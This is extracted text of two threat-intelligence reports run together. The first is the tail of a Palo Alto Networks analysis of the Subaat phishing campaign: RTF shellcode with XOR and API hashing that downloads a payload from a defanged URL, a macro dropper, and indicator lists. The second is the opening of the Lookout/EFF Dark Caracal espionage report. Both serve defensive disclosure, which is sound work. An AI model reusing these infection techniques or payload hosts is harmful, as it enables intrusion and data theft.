Palo Alto Networks customers are protected by this threat in a number of ways: All identified samples are flagged as malicious within the Palo Alto Networks platform All domains identified within this research have been appropriately marked as malicious th th 9/17 Traps correctly identified and blocks the exploits using CVE-2012-0158 and CVE-2017- 0199 Appendix Analysis of Malicious RTF Documents The two identified samples that were used in a campaign against a US-based government organization has the following SHA256 hashes: 0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301 9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d These samples varied in size greatly, however, the underlying shellcode was consistent.
One notable difference observed in one of the samples (0ade05) was the inclusion of injecting the shellcode into a newly spawned instance of svchost.exe.
When the shellcode begins, it will start by loading a number of functions that are used to inject code into svchost.exe.
The following Python code demonstrates how this hashing function operates: Figure 10 Python code demonstrating API hashing technique 1 The shellcode continues to decrypt a blob of data using a 4-byte XOR key of 0x8F51F053.
This blob contains a series of important strings, such as the URL and filename, as well as functions that will be used to download the payload.
After this blob is decrypted, flow control proceeds to this blobs code, where the shellcode will load multiple libraries and functions using a specific hashing algorithm.
The shellcode continues download a file to the TEMP directory from the following URL: http://subaat[.
]com/files/sp.exe 10/17 The shellcode proceeds to execute this newly downloaded file prior to exiting.
Analysis of Malicious Excel Documents The identified sample that was used in a campaign against a US-based government organization has the following SHA256 hash: e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621 When this sample is initially executed, it will attempt to run a malicious macro that is embedded within the file.
This macro begins by determining where a dropped file will reside.
It will attempt to find the following folders residing within a users profile path: /Documents /Downloads /AppData Figure 11 Macro determining file path The payload itself is stored within text boxes in a user form within the Excel document.
This data is extracted and hex-decoded.
The three blobs of data are concatenated to form a proper PE32 executable.
11/17 Figure 12 Macro loading data from text boxes A quick look at the included user form gives us a better view as to how this data is stored.
12/17 Figure 13 Embedded user form with three text boxes The following example Python code demonstrates the hex-decoded data shown in the highlighted text box above.
Figure 14 Python code hex-decoding the stored data After this data is properly handled, the macro will drop this file with an extension of .scr to the designated file path.
It is then executed in a new process.
This newly spawned process is an instance of the Crimson Downloader malware family.
13/17 SHA256 Hashes c4c478c5486a09ac06e657ace2c1edb00cc690a2ff3558598e07687aa149df71 6b6ff0bef244732e90e7a8c200bcd1d8db6f58fe4da68889eb847eb1b6458742 07cb90288ae53643a4da291863df6c9be92bfd56b953073e30b7c28c777274fc 66ef8f3660902cba0ca9bebd701d322aff1d5a13de0cf63cf3f1b8841e08efc6 20c949ca25fed25918e524dde67ffe44efb1c974a5ed68d519b77354303c4916 007e4b308a69d6c3dba5a01f754a63231b996f1a68ff43ec9b5906f583f0fc6b f7d2f547d5ab07abf59f97fb069288d682a20bc9614642777d11c7db76b36f39 20e368b0d0288b968fed7193c965a7c7ecf3e731eb93a4cbd4420242fad7ce8c 9ddc4ba7a8025598b6a8344c5537af3e2ae6e6db8356dcbfc9ad86b84dee87af 95c00b3de53c0b5742c182f9221a3086bf046ad8da57c915e8c0b6dc5180fd7f 0804202f46dc94768820cb0915b8d2b36602575ac78e526ea7f518e584069242 914b6f21297ebb81621b6da00edcda59b4c1fdd06329ed7a587c9a9b09915583 2a73231d0480f7481737256a8dca6b2549db982cc10f1761c2a267eb85dcaca4 67d4ab365f1630e750aee300f14fbfc940ea235647014030bd56c4127933834b 41efb2f1cb81160539058d8fc2ca8c037692803dcb8b332c660233bffe5bf874 e51b8bf7cc72b47c8ee59056fabd2af1795152d8df33967949d2d2a0996cc51b 4c6f7aafc2e4d8b0b7e7f21cbb102e02dc314eeb2f8e754f59ea471f58cabda0 3a664210955a82d961480adcc914456931325268ccf26c09d0275ca1d2ff35f1 5cc14c2bc185121391a7c43e3e65ced4697274e93fe42f28f20c067dde7e9f1d f19480d36453da029247fbd066c7f0c1b28912bbefafd052b1d4ee9a64eb9e31 6bbb87f05d9d987a3df3bb585de3f2fad5d5cd3f11a0e3c4587255c55a9fe2a5 75da69e466183b0d004719d32f779cd5b7849a6dac0b6303e11db543c0ddec32 a0a2edcd19a581aeba3de5bbca21065425fbf34fd1a798269ff99bd8af8bf847 2c34565535a0f90b469f0e100d9027190d3cd812bd824aa6af73b4884690a395 50c4f3d3335daf84d507ed2663a411d2ce39e9def172ddbaf7ade0f2ce0f2736 14/17 a8445387cb7e4bc79da34d371eedf50f265e145ce8f48c64aeff2690ed7f8b10 7218bc4e9b8817eff678422a9125a852c3f66ecf275aa691433dd8cd4910f66d 106938bff25de67513acc809c4c77b2aa9e9974ec8bf4d20bad154015abc77be 85116c4f9695bf15fe3fdcb20cff8634971e39c2b97b1a159446fa6cdf05e913 253bb91003a8c295a70240206605542147d7b9fdc2d26ac999772b3b78db3a80 2d5abd4cc322d5802617d6a1cd3fc22403052e2711bf6bd76976ab7d1cea45cf e0d6e8584f2d3d6d807ad2fe9d2fccc792635e8e3ab0132f3b5dedc0394019c9 625f30d4abd89b94c1f732463202c51cd9424a1bcbf2e72a9779773c0f82f93c 6807c25ead1c377c975c84a214da8a68482623658369a02ce56b531d6f38a5b6 dfb984ea975ca992e1a0f9a6d30a41057edd36b170704b7831f609f44f80ad8d ed9fb1d8c36fb60c808006ae63908980a259cb73ed44adf19856ea6c239d1eab 1f286fff72a562cd327985a1b57316364710f2cbfeedc46d12dc8d21b4611ecb 4da2fd94b4f21a346ebfa5d8793dd60a1d4200dfe6b91517a70aed4c0b59a4d4 983bc61d569839558e2a2ef2a53174efe45be4e65da991268ce1926beb4e3505 7b1ab4513788ef4b6628911ba6ed6362eb357b66d18f6988fb4ceffb20ee1d91 8c93d054d4ef93f695da9693f6de538e269b39320c934428f27cc22ef6b2d89e cd873eaded83861c4f59bfb5c902b43bfd7f5ecb13eccc385498ad9564085e97 e63f0ab5413b0013d79c57f8132c21c0c9397c88caa01edbb4fbe6c2db4932a0 24bc5f9aa78d91d6c8641b90cac6d3c3e7ddf4b30a992a9129d73c5edb04f80f 89ac4eeaecd38fcb2eb8e0bacd156b6133a6093f44622f7d82e22493a69cafb7 07abc1eb421baffe4f894406c1435b3daf8d1dcfba53d8e4e8f584cf72d08110 2941360679ea485798e324e3538c358cf6cba65959ebf28df9fd4a5492bf2888 dbac3abbaaea59c8287d3ed47cac07aeca952a3620eda4559c2bf0f3f611d52e efca910066b59ca833c7291d07f18922cf5e3e2301c5fd95b7acd50f195fc580 a331276b9810ebc131daf883887a0ba8ab0fb5e6ea4671b12249c1be1755fce8 31d94441009e7ea50d880e1dcc9e09890f1139bce9edc847b05f2c5ac355695e 15/17 c3eeb0677dcbfe4edb6cca9c5bac34ae80a5906b76676548ef0e5110f3ddd4c3 e68ea3c3c9bb0d5b0d4f940b0cbbfb6913a47bb6f345b54f487241fc4eec4b31 83810647cd0c398ad05dec63c41756bf5fbfd1b0658379753c157e7b1f45aed3 dfb4f62c609be0295ef1c4fcd59c5897fbd0ad40a82d00a93e7f3bdadcc1d320 23180df75c5b9293f3743ea27c09ce471f1f5541cd668ac22c16e41f1ff7b4da ef09065b95d0ea2e02384828e5616fc6f9ededadb2b4719078904c50d2ed4307 923818d36ff1fd94829424847ac20ab7d77432b133cdb5cb1a1be87ec0e1b617 4cbc47fe5d82145265e8dbc9e81ab6afa9a0a4f3c6dd8c15ce2af09584278517 670e45f3e2fbb635df00790d90a5cf8bc950440a935b38c2bb71f0c463c24b3b 2551d883d3e66a3e7bcabc052be2e503808df570c03d816ddfb83bf6e686a5f6 712a8fa4308de2ba1a83545e96539092215c75bfa8b63b33ee1a739cc6522873 7e09b6d96d7034f1ac5947355dba360cc49f53d4c0c89aab05c1ef6cc2d0a213 801bb690dd2ecd3877b014030dfca40f3b7d964fdb8e1ab1252352212e24f777 fae9b4a92277e227f6122794ef366dba49c045add9569e9a0d8fc66196c5c787 2bfbd56ee421b8aab3dd3d1f9e9a2d512556a4e0440c8f04e94d6ad5b584e43c 35bc123df7bfc8f9239af3fa14350091c513e7b1d42b93a8dca39e131c48c052 87d122b7b99735689713ff51650b6a331d9c4d7f7617fc15b7e07b0225b60c2a 0b2a6225d209783672900d1b8e0b19957cb924f0111d0be347dead9520ad745a 5f3845a1e3d2f3d09c3ffff4a71e04f61d995aae54311d4c9ab88ff65803d131 5c361d57ac83936d08c4a93208142b7397d6074bbf6e24cb6cee0e3e3e5351b3 ea35cf979b358c1661b4b1b9465a700925bdf4ba227989b47127270e32345f29 44963748c947e0f5d21d353e6e5ceb3b6a64fd0b4ad28540ab47bdf2422e9523 1d4f20832e641a1cedd598e187614b78ba3d5930c6dcd71e367b254664cb9b2e 050123edd0d9ea5acf32314aa500467211d8f204f57627abc42937fe11f04382 4c806d18ba1cac5d83be7c05f43697d5124b910d2de8264cdff1d8f186a0a7dd aec031e3747b00be2b0cc3a1d910ae18ada65452f3e70425cae86fe24d2996d4 5ac984bb11b989ef745c35dd2418eb5bd26a6bba291cf2ba7235bf46d3400260 16/17 0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301 e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621 9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d 7bad7cbc32e83b8dfc4f6c95824ea45dcee2330de44d84c9bc551f99e6ca6faa 341403284158723f1f94897d257521a73fcfc8049b786f5004f60a063fb074f2 f68a169670bb3dc3bd0a2dc83120d34f59d7f4dacfdc98dbbd86931cdd4f7392 579c669bd8ec8dd393a836c6c27c86e40e8048fa5efbcfc03e027e69298f0e6a 19df2d2460be2f22f73ea7992470c5369599fba290c0f3dbc613ad35dc3ba18a 692997349c017c627c8779816bc41840dd7867b0c4d3bec99638bfba159675bc c0658b5aa4e9bc2433557e65ad20ded6f91b3441dac72cb8c2ea7e1f2e43e05e IP Addresses 5.189.157[.
]215 115.186.136[.
]237 Domains subaat[.
]com hassanusauae786.hopto[.
]org 17/17 Tracking Subaat: Targeted Phishing Attack Leads to Threat Actors Repository
1 Dark Caracal Cyber-espionage at a Global Scale SECURITY RESEARCH REPORT 2 Contents Executive Summary 1 Key Findings 2 Timeline 2 Background 4 Lebanons General Directorate of General Security (GDGS) 4 Locating Attacker Facilities 5 Test Devices  5 Wi-Fi Networks 5 Location Information from IP Addresses 6 Identities: Attacker Personas 7 Nancy Razzouk and Hassan Ward 7 Hadi Mazeh 8 Rami Jabbour 8 Prolific Activity 9 Exfiltrated Data 9 Android Malware Content 12 Windows Malware Content 15 Patterns of Attacks 17 The Initial Compromise 17 Social Engineering and Spear-Phishing 19 Surveillanceware  Mobile Capabilities 21 Pallas  Dark Caracals Custom Android Samples 21 C2 Communications with Malware Implants 23 Previous Use of FinFisher Spyware 30 Surveillanceware  Desktop Components 31 Bandook  31 CrossRAT 34 Infected Documents 36 Other Samples 37 Infrastructure 38 Primary Command and Control Server 39 Watering Hole Server 41 Phishing Domains 41 Windows C2 Servers  44 Appendix 46 Indicators of Compromise and Actor Tracking 46 Mobile Implant Apps 47 Desktop Implant Apps 48 1 SECURITY RESEARCH REPORT Executive Summary As the modern threat landscape has evolved, so have the actors.
The barrier to entry for cyber-warfare has continued to decrease, which means new nation states  previously without significant offensive capabilities1  are now able to build and deploy widespread multi-platform cyber-espionage campaigns.
This report uncovers a prolific actor with nation-state level advanced persistent threat (APT) capabilities, who is exploiting targets globally across multiple platforms.
The actor has been observed making use of desktop tooling, but has prioritized mobile devices as the primary attack vector.
This is one of the first publicly documented mobile APT actors known to execute espionage on a global scale.
Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal2, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut.
At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21 countries, across thousands of victims.
Stolen data includes enterprise intellectual property and personally identifiable information.
We are releasing more than 90 indicators of compromise (IOC) associated with Dark Caracal including 11 different Android malware IOCs 26 desktop malware IOCs across Windows, Mac, and Linux and 60 domain/IP based IOCs.
Dark Caracal targets include individuals and entities that a nation state might typically attack, including governments, military targets, utilities, financial institutions, manufacturing companies, and defense contractors.
We specifically uncovered data associated with military personnel, enterprises, medical professionals, activists, journalists, lawyers, and educational institutions during this investigation.
Types of data include documents, call records, audio recordings, secure messaging client content, contact information, text messages, photos, and account data.
The joint Lookout-EFF investigation began after EFF released its Operation Manul report, highlighting a multi-platform espionage campaign targeted at journalists, activists, lawyers, and dissidents who were critical of President Nursultan Nazarbayevs regime in Kazakhstan.
The report describes malware and tactics targeting desktop machines, with references to a possible Android component.
After investigating related infrastructure and connections to Operation Manul, the team concluded that the same infrastructure is likely shared by multiple actors and is being used in a new set of campaigns.
The diversity of seemingly unrelated campaigns that have been carried out from this infrastructure suggests it is being used simultaneously by multiple groups.
Operation Manul clearly targeted persons of interest to Kazakhstan, while Dark Caracal has given no indication of an interest in these targets or their associates.
This suggests that Dark Caracal either uses or manages the infrastructure found to be hosting a number of widespread, global cyber-espionage campaigns.
Since 2007, Lookout has investigated and tracked mobile security events across hundreds of millions of devices around the world.
This mobile espionage campaign is one of the most prolific we have seen to date.
Additionally, we have reason to believe the activity Lookout and EFF have directly observed represents only a small fraction of the cyber-espionage that has been conducted using this infrastructure.
1 https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf 2 In keeping with traditional APT naming, we chose the name Caracal (pronounced [kar-uh-kal]) because the feline is native to Lebanon and because this group has remained hidden for so long.
From the Wikipedia entry the caracal is highly secretive and difficult to observe and is often confused with [other breeds of cat].
The naming further builds on EFFs Operation Manul, another feline reference.
We like cats.
https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf https://en.wikipedia.org/wiki/Caracal 2 SECURITY RESEARCH REPORT Key Findings Lookout and EFF researchers have identified a new threat actor, Dark Caracal.
Our research shows that Dark Caracal may be administering its tooling out of the headquarters of the General Directorate of General Security (GDGS) in Beirut, Lebanon.
The GDGS gathers intelligence for national security purposes and for its offensive cyber capabilities according to previous reports.
We have identified four Dark Caracal personas with overlapping TTP (tools, techniques, and procedures).
Dark Caracal is using the same infrastructure as was previously seen in the Operation Manul campaign, which targeted journalists, lawyers, and dissidents critical of the government of Kazakhstan.
Dark Caracal has been conducting a multi-platform, APT-level surveillance operation targeting individuals and institutions globally.
Dark Caracal has successfully run numerous campaigns in parallel and we know that the data we have observed is only a small fraction of the total activity.
We have identified hundreds of gigabytes of data exfiltrated from thousands of victims, spanning 21 countries in North America, Europe, the Middle East, and Asia.
The mobile component of this APT is one of the first weve seen executing espionage on a global scale.
Analysis shows Dark Caracal successfully compromised the devices of military personnel, enterprises, medical professionals, activists, journalists, lawyers, and educational institutions.
Dark Caracal targets also include governments, militaries, utilities, financial institutions, manufacturing companies, and defense contractors.
Types of exfiltrated data include documents, call records, audio recordings, secure messaging client content, contact information, text messages, photos, and account data.
Dark Caracal Activity Timeline Jan. 2012 Nov. 2012 Mar.
2014 Nov. 2014 Dec. 2015 Jun.
2015 Dec. 2016 Aug. 2016 Jun.
2016 Custom FinFisher mobile sample created First mobile surveillance campaign, oldb, launched arablivenews[.
]com expires and is decommissioned op13mail[.
]com registers phishing domain arablivenews[.
]com op13mail[.
]com registers arabpublisherslb[.
]com domain Operation Manul phishing emails first seen secureandroid[.
]info watering hole goes live.
EFF releases Operation Manul report gmailservices[.
]org and twiterservices[.
]org WHOIS details registered as Hadi Mazeh and op13mail[.
]com Oct. 2016 op13mail[.
]com registered arablivenews[.
]com.
Threat Connect report3 suggests domain may be related to APT 28 3 https://www.threatconnect.com/blog/how-to-investigate-incidents-in-threatconnect/ Dec. 2016 Second mobile surveillance campaign, wp7, launched https://www.threatconnect.com/blog/how-to-investigate-incidents-in-threatconnect 3 SECURITY RESEARCH REPORT Dark Caracal follows the typical attack chain for cyber-espionage.
They rely primarily on social media, phishing, and in some cases physical access to compromise target systems, devices, and accounts.
Dark Caracal uses tools across mobile and desktop platforms.
Dark Caracal uses mobile as a primary attack platform.
Dark Caracal purchases or borrows mobile and desktop tools from actors on the dark web.
Lookout discovered Dark Caracals custom-developed mobile surveillanceware (that we call Pallas) in May 2017.
Pallas is found in trojanized Android apps.
Dark Caracal has also used FinFisher, a tool created by a lawful intercept company that is regularly abused by other nation-state actors.
Dark Caracal makes extensive use of Windows malware called Bandook RAT.
Dark Caracal also uses a previously unknown, multi- platform tool that Lookout and EFF have named CrossRAT, which is able to target Windows, OSX, and Linux.
Dark Caracal uses a constantly evolving, global infrastructure.
Lookout and EFF researchers have identified parts of Dark Caracals infrastructure, providing us with unique insight into its global operations.
The infrastructure operators prefer to use Windows and XAMPP software on their C2 servers rather than a traditional LAMP stack, which provides a unique fingerprint when searching for related infrastructure.
Lookout and EFF have identified infrastructure shared by Operation Manul and Dark Caracal as well as other actors.
Attributing Dark Caracal was difficult as the actor employs multiple types of malware, and our analysis suggests the infrastructure is also being used by other groups.
Lookout and EFF are releasing more than 90 indicators of compromise (IOC): 11 Android malware IOCs 26 desktop malware IOCs 60 domains, IP Addresses, and WHOIS information Dark Caracal Activity Timeline (cont.)
Mar.
2017 Apr.
2017 Jun.
2017 Jul.
2017 Jul.
2017 Jul.
2017 Aug. 2017 Aug. 2017 Aug. 2017 Sep. 2017 Dec. 2017 Jan. 2018 Sep. 2017 Third mobile surveillance campaign, wp8, launched Fourth mobile surveillance campaign, wp9, launched Fifth and sixth mobile surveillance campaigns, wp10 and wp10s, launched wp8 campaign ceases collecting data adobeair[.
]net taken down for several dayss adobeair[.
]net resumes operations wp9, wp10, and wp10s campaigns cease collecting data adobeair[.
]net WHOIS details changed to Nancy Razzouk, op13mail[.
]com, Lebanon oldb campaign ceases collecting data wp7 campaign ceases collecting data Secureanroid[.
]infos domain name expires Dark Caracal made public adobeair[.
]net changes hosting and is secured against data leaks 4 SECURITY RESEARCH REPORT Background Lebanons General Directorate of General Security (GDGS) Devices for testing and operating the campaign were traced back to a building belonging to the Lebanese General Directorate of General Security (GDGS), one of Lebanons intelligence agencies.
Based on the available evidence, it is likely that the GDGS is associated with or directly supporting the actors behind Dark Caracal.
Previous Cyberespionage EFF first identified elements of this infrastructure in its August 20164 report on Operation Manul.
The report details a series of attacks targeting journalists and political activists critical of Kazakhstans authoritarian government, along with their family members, lawyers, and associates.
EFFs research noted references to Android components found on the infrastructure however, no samples had been discovered at the time of the reports release.
Lookout has since acquired Android samples used by Dark Caracal that belong to what Lookout researchers have named the Pallas malware family.
Citizen Lab previously flagged the General Directorate of General Security in a 2015 report as one of two Lebanese government organizations using the FinFisher spyware5.
The report cites evidence showing that the GDGS, along with other state actors around the world, had active campaigns using FinFisher infrastructure and tools.
However, the report did not specify whether the spyware used was the mobile version of FinFisher.
Our investigation resulted in the discovery of at least one FinFisher implant for Android, which corroborates Citizen Labs previous research.
The samples hash is provided in the appendix of this report.
We also uncovered new desktop surveillance software developed potentially by Dark Caracal themselves, a developer associated with the GDGS, or a private contractor group.
The intent of bringing forth these findings is to reveal newly discovered evidence of a new nation-state actor compromising the devices of military personnel, enterprises, medical professionals, activists, journalists, lawyers, and educational institutions.
Our review and disclosure of this matter follows industry practices, including sharing our findings with appropriate government authorities, industry partners and the public at large.
4 https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf 5 https://citizenlab.ca/2015/10/mapping-finfishers-continuing-proliferation/ https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf https://citizenlab.ca/2015/10/mapping-finfishers-continuing-proliferation/ 5 SECURITY RESEARCH REPORT Locating Attacker Facilities We correlated information from test devices and Wi-Fi networks to determine the location of Dark Caracals facilities.
Test Devices Dark Caracal used a series of test devices to confirm that its malware implants and C2 infrastructure work correctly.
Identifying these devices helped us to determine Dark Caracals likely location inside the GDGS building.
Distinguishing between test and target devices can be tricky.
After analyzing data from the infrastructure, we noticed that a subset of the compromised devices contained similar email, Viber, Primo, Telegram, and Whatsapp accounts.
These data points allowed us to focus on a select few devices that were unique among the thousands we saw.
Additionally, these devices contained a minimal amount of (if any) real content in the exfiltrated text messages, contacts, and application data, which led us to conclude they were likely test devices.
Figure 1: A picture of the GDGS building in Beirut, Lebanon from where we have located Dark Caracal operating Wi-Fi Networks Within the cluster of test devices we noticed what could be unique Wi-Fi networks.
Knowing that Wi-Fi networks can be used for location positioning, we used that data to geo-locate where these devices may have been by keying off network identifiers.
We specifically focused on the Wi-Fi network SSID Bld3F6.
Using the Wi-Fi geolocation service Wigle.net we saw these test device Wi-Fi networks mapped to Beirut.
We also noticed Wi-Fi networks with SSID Bld3F6 mapped near the General Security building in Beirut, Lebanon.
Figure 2: Google map of the GDGS Building in Beirut Left: Data as observed from Wigle.net for SSID: Bld3F6     Right: Data confirming location of SSID: Bld3F6 6 SECURITY RESEARCH REPORT 6 https://en.wikipedia.org/wiki/Telecommunications_in_Lebanon Location Information from IP Addresses Throughout the course of this investigation we observed logins into the administrative console of the C2 server come from three IP addresses.
The IP addresses are all from Ogero Telecom6, which is owned by the Government of Lebanon.
We geo-located two of the IP addresses just south of the GDGSs building (probably a switching or central hub for Ogero).
Figure 3: The location of IP addresses that logged into the adobeair[.
]net admin console between July and September 2017 https://en.wikipedia.org/wiki/Telecommunications_in_Lebanon 7 SECURITY RESEARCH REPORT Nancy Razzouk and Hassan Ward We identified Nancy Razzouk listed alongside the op13mail[.
]com email address in domain WHOIS information.
We also found this name in signer content for the Windows malware7 that communicates with adobeair[.
]net.
Figure 4: Signer content for Windows malware The contact details for Nancy present in WHOIS information matched the public listing for a Beirut-based individual by that name.
When we looked at the phone number associated with Nancy in the WHOIS information, we discovered the same number listed in exfiltrated content and being used by an individual with the name Hassan Ward.
7 SHA-256 HASH: d57701321f2f13585a02fc8ba6cbf1f2f094764bfa067eb73c0101060289b0ba Identities: Attacker Personas The infrastructure used by Dark Caracal revealed several different associated personas.
This resulted in the team linking four different aliases, two domains, and two phone numbers to this infrastructure.
At the center of these personas is the email address op13mail[.
]com which has appeared at various stages in the historical WHOIS information of Dark Caracal domains (see: Timeline).
Aliases associated with op13mail[.
]com include Nancy Razzouk, Hadi Mazeh, and Rami Jabbour.
All of the physical addresses listed in the WHOIS domain registrations associated with op13mail[.
]com tend to cluster around the SSID: Bld3F6 Wi-Fi locations.
This is near the General Security building in Beirut.
8 SECURITY RESEARCH REPORT op13mail.com fbarticles.com gmailservices.org twiterservices.org arabpublisherslb.com facebookservices.org Hadi Mazeh Hadi Mazeh During July 2017, Dark Caracals internet service provider took the adobeair[.
]net command and control server offline.
Within a matter of days, we observed it being re-registered to the email address op13mail[.
]com with the name Nancy Razzouk.
This allowed us to identify several other domains listed under the same WHOIS email address information, running similar server components.
The WHOIS name field, however, listed several entries with the name Hadi Mazeh.
This suggests that either multiple individuals are using the op13 email address or the owner has several aliases that he or she uses with it.
Rami Jabbour We determined the actor behind the op13 email address also registered the domain arablivenews[.
]com and provided the name Rami Jabbour.
Address details listed in WHOIS information for this specific entry are Salameh Blg, Museum Str, and Mathaf, which appears to be in close proximity to where we have seen test devices in Beirut.
Figure 5: Aliases associated with the op13 email address 9 SECURITY RESEARCH REPORT Prolific Activity Throughout this investigation, Lookout and EFF researchers have gained unique insight into the global operations of Dark Caracal.
This has primarily been possible due to command and control infrastructure operators allowing public access to data stolen from compromised devices and systems.
Since we first gained visibility into attacker infrastructure in July 2017, we have seen millions of requests being made to it from infected devices.
This demonstrates that Dark Caracal is likely running upwards of six distinct campaigns in parallel, some of which have been operational since January 2012.
Dark Caracal targets a broad range of victims.
Thus far, we have identified members of the military, government officials, medical practitioners, education professionals, academics, civilians from numerous other fields, and commercial enterprises as targets.
Exfiltrated Data  Bookmarks Browsing History Installed Applications Audio Recordings Account Information Call Records Contacts Images SMS Messages WhatsApp, Telegram and Skype databases Legal and Corporate Documentation File and Directory Listings Wi-Fi Details Figure 6: A summary of some of the types of content Dark Caracal exfiltrated from victims on both Android and Windows Not only was Dark Caracal able to cast its net wide, it was also able to gain deep insight into each of the victims lives.
It did this through a series of multi-platform surveillance campaigns that began with desktop attacks and pivoted to the mobile device.
Stolen data was found to include personal messages and photos as well as corporate and legal documentation.
In some cases, screenshots from its Windows malware painted a picture of how a particular individual spent his evenings at home.
10 SECURITY RESEARCH REPORT We found the largest collection of data from a single command and control server that operated under the domain adobeair[.]
net.
Over a short period of observation, devices from at least six distinct Android campaigns communicated with this domain resulting in 48GB of information being exfiltrated from compromised devices.
Windows campaigns contributed a further 33GB of stolen data.
The remainder of the data contained desktop malware samples, spreadsheet reports on victims, and other files.
Victims were found to speak a variety of languages and were also from a wide range of countries.
We discovered messages and photos in Arabic, English, Hindi, Turkish, Thai, Portuguese, and Spanish in the examined data.
According to our analysis, infrastructure contained exfiltrated data from individuals residing in: Figure 7: Split of exfiltrated data found on just the command and control server adobeair[.
]net.
From 81GB of stolen data, the majority was found to be from campaigns run against mobile devices 81 GB 81 GB 59.3 Android Campaigns 40.7 Windows Campaigns Split of exfiltrated content on adobeair.net China France Germany India Italy Jordan Lebanon Nepal Netherlands Pakistan Philippines Qatar Russia Saudi Arabia South Korea Switzerland Syria Thailand United States Venezuela Vietnam 11 SECURITY RESEARCH REPORT Based on both the mobile and desktop campaigns we observed, we believe the attacker first exfiltrated information in January 2012.
At the time of writing this report, it looks as though Dark Caracal is still uploading data from its spy campaigns, according to the servers we are tracking.8 Figure 8: Observed locations of compromised devices Figure 9: Amount of exfiltrated content (as represented by count in the graph above) being uploaded for certain campaigns on adobeair[.
]net over time for 2017 8 Despite the internet service provider taking the command and control server down in July 2017, the infrastructure reappeared online again after a few days.
The dip in data exfiltration due to the takedown can be observed in Figure 9 at the beginning of August.
The average number of files uploaded to the server increases steadily with time.
12 SECURITY RESEARCH REPORT Android Malware Content The Android malware family mainly trojanizes messaging and security applications and, once it compromises a device, it is capable of collecting a range of sensitive user information.
This includes recorded audio, call logs, conversations from popular chat applications, location information, browsing history, device specific metadata, contacts, and much more.
Each Android malware sample contains a hard coded identifier that we believe represents the campaign to which it belongs.
When a Dark Caracal operator instructs an infected device to upload sensitive data, it is stored on the attacker infrastructure under this campaign.
While investigating this adversary, we observed content distributed across six different campaigns.
In this report, we refer to these campaigns by the name of the directory to which infected devices uploaded victim data.
These campaigns are listed below, along with the number of victim devices we believe Dark Caracal compromised while we were observing its operations: /oldb - 28 perceived test devices, 454 potential victim devices /wp7 - 4 perceived test devices, 117 potential victim devices /wp8 - 1 perceived test device, 4 potential victim devices We did not attempt to identify targets and consider that beyond the scope of this report.
486,766 SMS Texts 32.4 252,982 Contacts 16.9 150,266 Call Records 10.0 45,264 Android Application Details 3.0 92,35 Browsing History URLs 6.2 1547 Authentication Accounts 0.1 206,461 Unique Wi-Fi SSIDs 13.8 46 Directories 0.0 264,535 Files 17.6 /wp9 - 11 potential victim devices /wp10 - 1 potential test device, 2 potential victim devices /wp10s - 13 potential test devices, 21 potential victim devices An overview of exfiltrated data from the Android campaigns can be seen in the figure below.
Figure 10: Distribution of data from the Android campaigns 13 SECURITY RESEARCH REPORT Exfiltrated data can be divided into the following categories of information: SMS messages - SMS messages made up some of the more meaningful exfiltrated data.
Messages included personal texts, two-factor authentication and one-time password pins, receipts and airline reservations, and company communications.
Some pin codes were within their validity window at the time of writing this report.
Figure 11: Exfiltrated SMS texts detailing OTPs, receipts, and Facebook notifications 14 SECURITY RESEARCH REPORT Contact Lists - This data included numbers, names, addresses, bank passcodes, PIN numbers, how many times each contact was dialed, and the last time the contact was called.
Call logs - This data included a full record of incoming, outgoing, and missed calls along with the date and duration of the conversation.
Installed Applications - This data included app names and version numbers.
Bookmarks and Browsing History - This data included bookmarks and browsing history from web pages.
This data was seen in only one Android campaign called oldb, but it clearly identified victims that were active in political discourse.
Connected Wi-Fi Details - This data included observed Wi-Fi access point names, BSSIDs, and signal point strength.
Authentication Accounts - This data included the login credentials and which applications are using it.
File and Directory Listings - This data included a list of personal files, downloaded files, and temporary files, including those used by other applications.
Audio Recordings and Audio Messages - This data included audio recordings of conversations, some of which identified individuals by name.
Photos - This data included all personal and downloaded photographs, including profile pictures.
Figure 12: Contacts exfiltrated from 3 victims Android devices can be seen to contain corporate numbers, personal numbers, and Visa credit card numbers 15 SECURITY RESEARCH REPORT Windows Malware Content Dark Caracals use of Windows malware includes a wider range of command and control infrastructure beyond adobeair[.
]net.
Its methods and data collection, however, are similar to the Android malware.
Exfiltrated data from the Windows malware included the following general categories: Desktop Screenshots - This data included full screenshots taken at regular intervals and uploaded to adobeair[.
]net.
By observing these images, it is disturbingly simple to watch a victim go about his daily life and follow that individual every step of the way.
Figure 13: A screenshot exfiltrated from victims Windows device on adobeair[.
]net Skype Logs Databases - The data included the entire Skype AppData folder for certain victims, including messaging databases.
Photos - This data included complete contents of the Pictures folder from compromised Windows machines.
It is common to see smartphone photos backed up to this location, which most often contains personal photographs of family and friends taken by the individual being targeted.
16 SECURITY RESEARCH REPORT Figure 14: An example of corporate documentation, which details the addresses and telephone numbers of customers for a shipping company iPhone Backups - This data included an entire unencrypted backup of a victims iPhone.
File Listings - This data included all default Windows folders and file listings.
Corporate and Legal Documentation - This data included a large collection of company-specific documents.
Specifically, we discovered these on another live command and control server, planethdx[.
]com.
17 SECURITY RESEARCH REPORT Exfiltrated Data Phishing messages WhatsApp Physical access  Phishing messages Facebook group Trojanized Android Apps Watering hole server: secureandroid[.
]info C2 server adobeair[.
]net Phishing server: Set up for credential harvesting Fake Google domain Fake Facebook domain Fake Twitter domain Patterns of Attacks Dark Caracal follows the typical attack chain for client-side cyber-espionage.
Mobile tools include a custom written Android surveillanceware implant Lookout named Pallas9 and a previously unknown FinFisher sample.
The groups desktop tools include the Bandook malware family and a newly discovered desktop surveillanceware tool that we have named CrossRAT, which is able to infect Windows, Linux, and OS X operating systems.
